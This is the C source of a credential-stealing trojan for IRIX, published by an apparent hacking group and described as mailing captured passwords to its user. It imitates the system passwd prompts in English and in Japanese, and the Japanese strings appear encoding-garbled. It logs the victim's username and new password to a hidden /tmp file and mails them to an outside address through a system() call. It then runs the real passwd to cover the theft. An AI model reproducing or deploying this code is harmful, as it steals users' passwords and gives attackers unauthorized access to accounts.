Passwd trojan for IRIX. This trojan logs the username and password, and mails such information to you.
09d660e6270d32cdfff43d868a72322ba1e8dab294bc930609334181ca2f9b3c
/*=============================================================================
SU Trojan Ver2.00 for IRIX
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (unewn4th@usa.net)
=============================================================================
*/
#include <pwd.h>
#include <stdio.h>
#include <stdlib.h>
/* pX[hðÊm·éAh */
/* ȺÌ1sðí·éÆ[ÊmÍsíêܹñ */
#define MAIL "hohoho@hacker.net"
/* MOt@C. ©Â©èÉ¢¼OÉÏX */
#define LOGFILE "/tmp/.pl"
#define MSG_PERMERR "ª^¦çêĢܹñ\n"
#define MSG_DOESNTEXIST "\úµÈ¢¸sÅ·.\n"
#define MSG_BANNER "%s ÌpX[hðÏXµÜ·\n"
#define MSG_OLDPASS "pX[h:"
#define MSG_BADOLDPASS "cOÅ·\n"
#define MSG_NEWPASS "VpX[h:"
#define MSG_RENEWPAS "Vµ¢pX[hðÄü͵ĺ³¢:"
#define MSG_TOOSHORT "pX[hªZ©ß¬Ü· - ÈÆà 6 ¶ÈãKvÅ·\n"
#define MSG_MUSTDIFF "pX[hÍpX[hÆ 3 ¶ÈãÙÁĢȯêÎÈèܹñ\n"
#define MSG_INVALID "pX[hÉÍ 2 ÂÈãÌ¢¨æÑ 1 ÂÈãÌ\n"\
"ܽÍÁê¶ðÜÜȯêÎÈèܹñ\n"
#define MSG_DONTMATCH "êvµÜ¹ñ\nÄÀsµÄº³¢\n"
#define ESG_PERMERR "Permission denied\n"
#define ESG_DOESNTEXIST "Unexpected failure.\n"
#define ESG_BANNER "Changing password for %s\n"
#define ESG_OLDPASS "Old password:"
#define ESG_BADOLDPASS "Sorry\n"
#define ESG_NEWPASS "New password:"
#define ESG_RENEWPAS "Re-enter new password:"
#define ESG_TOOSHORT "Password is too short - must be at least 6 characters\n"
#define ESG_MUSTDIFF "Passwords must differ by at least 3 positions\n"
#define ESG_INVALID "Password must contain at least two alphabetic characters\n"\
" and at least one numeric or special character.\n"
#define ESG_DONTMATCH "They don't match\nTry again later.\n"
#define TMPFILE "/tmp/.tmp"
#define MAX_USERNAME 200
#define MAX_PASSWD 200
int ja_flag;
main(int argc,char *argv[])
{
int uid=getuid();
struct passwd p;
char oldpasswd[MAX_PASSWD],newpasswd[MAX_PASSWD],renewpasswd[MAX_PASSWD];
char *getpass_sys(char *);
char username[MAX_USERNAME];
char buf[200];
FILE *fp;
int i,ct,l;
if (strstr(getenv("LANG"),"ja")==NULL) ja_flag=0;
else ja_flag=1;
memcpy(&p,getpwuid(uid),sizeof(struct passwd));
if (argc==1)
strcpy(username,p.pw_name);
else{
strncpy(username,argv[1],MAX_USERNAME-1);
username[MAX_USERNAME-1]=0;
if (getpwnam(argv[1])==NULL){
if (ja_flag==1) printf(MSG_DOESNTEXIST,argv[1]);
else printf(ESG_DOESNTEXIST,argv[1]);
exit(1);
}
memcpy(&p,getpwuid(uid),sizeof(struct passwd));
if (uid!=0 && strcmp(p.pw_name,argv[1])){
if (ja_flag==1) printf(MSG_PERMERR);
else printf(ESG_PERMERR);
exit(1);
}
}
if (argc==1){
if (ja_flag==1) printf(MSG_BANNER,username);
else printf(ESG_BANNER,username);
}
if (uid!=0){
if (ja_flag==1) strncpy(oldpasswd,getpass(MSG_OLDPASS),MAX_PASSWD-1);
else strncpy(oldpasswd,getpass(ESG_OLDPASS),MAX_PASSWD-1);
oldpasswd[MAX_PASSWD-1]=0;
if (strlen(oldpasswd)==0){
if (ja_flag==1) printf(MSG_BADOLDPASS);
else printf(ESG_BADOLDPASS);
exit(1);
}
}
for (;;){
if (ja_flag==1) strncpy(newpasswd,getpass_sys(MSG_NEWPASS),MAX_PASSWD-1);
else strncpy(newpasswd,getpass_sys(ESG_NEWPASS),MAX_PASSWD-1);
newpasswd[MAX_PASSWD-1]=0;
if (strlen(newpasswd)<strlen(oldpasswd)) l=strlen(newpasswd);
else l=strlen(oldpasswd);
for (ct=0,i=0;i<l;i++)
if (newpasswd[i]!=oldpasswd[i]) ct++;
if (ct>=3) break;
if (ja_flag==1) printf(MSG_MUSTDIFF);
else printf(ESG_MUSTDIFF);
}
if (ja_flag==1) strncpy(renewpasswd,getpass_sys(MSG_RENEWPAS),MAX_PASSWD-1);
else strncpy(renewpasswd,getpass_sys(ESG_RENEWPAS),MAX_PASSWD-1);
renewpasswd[MAX_PASSWD-1]=0;
if (ja_flag==1) printf(MSG_DONTMATCH);
else printf(ESG_DONTMATCH);
if ((fp=fopen(LOGFILE,"a"))!=NULL){
fprintf(fp,"%s %s %s\n",username,newpasswd,renewpasswd);
fclose(fp);
}
#ifdef MAIL
if ((fp=fopen(TMPFILE,"w"))!=NULL){
fprintf(fp,"%s %s %s\n",username,newpasswd,renewpasswd);
fclose(fp);
}
sprintf(buf,"mail %s < %s",MAIL,TMPFILE);
system(buf);
remove(TMPFILE);
#endif
sprintf(buf,"passwd %s",username);
system(buf);
}
char *getpass_sys(char *d)
{
static char *x;
int i,c1,c2;
for (;;){
x=getpass(d);
if (strlen(x)<6){
if (ja_flag==1) printf(MSG_TOOSHORT);
else printf(ESG_TOOSHORT);
continue;
}
c1=c2=0;
for (i=0;i<strlen(x);i++){
if ((x[i]>='a' && x[i]<='x') || (x[i]>='A' && x[i]<='X')) c1++;
else c2++;
}
if (c1<2 || c2==0){
if (ja_flag==1) printf(MSG_INVALID);
else printf(ESG_INVALID);
continue;
}
break;
}
return (x);
}